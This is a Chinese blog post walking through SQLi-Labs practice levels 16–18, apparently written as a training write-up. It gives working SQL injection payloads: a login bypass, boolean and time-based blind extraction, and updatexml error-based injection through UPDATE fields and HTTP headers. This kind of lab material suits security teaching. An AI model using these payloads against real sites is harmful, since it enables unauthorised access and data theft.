SQLi_Labs Basic Challenges

admin 2021年6月30日10:00:50评论61 views字数 858阅读2分51秒阅读模式
欢迎关注公众号:进德修业行道。一名普通的白帽子,维护着一个既讲技术又有温度的原创号,一如既往地学习和分享,希望大家在紧张而忙碌的生活中可以在这里安静的学习,前行的道路上感谢有您的关注与支持。
Less-16
登录框用户名处构造payload:
1") or 1=1#
如下图所示:
SQLi_Labs Basic Challenges
成功登录,布尔注入或者时间盲注均可行,登录框用户名处构造布尔注入payload:
1") or left(database(),1)='s'#
如下图所示:
SQLi_Labs Basic Challenges
登录框用户名处构造时间盲注payload:
admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#
如下图所示:
SQLi_Labs Basic Challenges
Less-17
update注入,username过滤了很多,有password错误回显,考虑用报错注入,登录框用户名与密码处构造payload:
username=adminpassword=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

如下图所示

SQLi_Labs Basic Challenges
Less-18
登录成功后,页面提示:
SQLi_Labs Basic Challenges
那么有可能是 ip 或者 UA 注入,看了一下发现是个 Header 头注入,这里需要注意这是登录成功的条件下才能触发的,而且既然是insert注入,需要用'1'='1闭合后面的 sql 语句,否则就是语法错误了,构造payload:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
如下图所示
SQLi_Labs Basic Challenges
免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。
转载声明:进德修业行道 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

本文始发于微信公众号(进德修业行道):SQLi_Labs Basic Challenges

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年6月30日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQLi_Labs Basic Challengeshttps://cn-sec.com/archives/410063.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息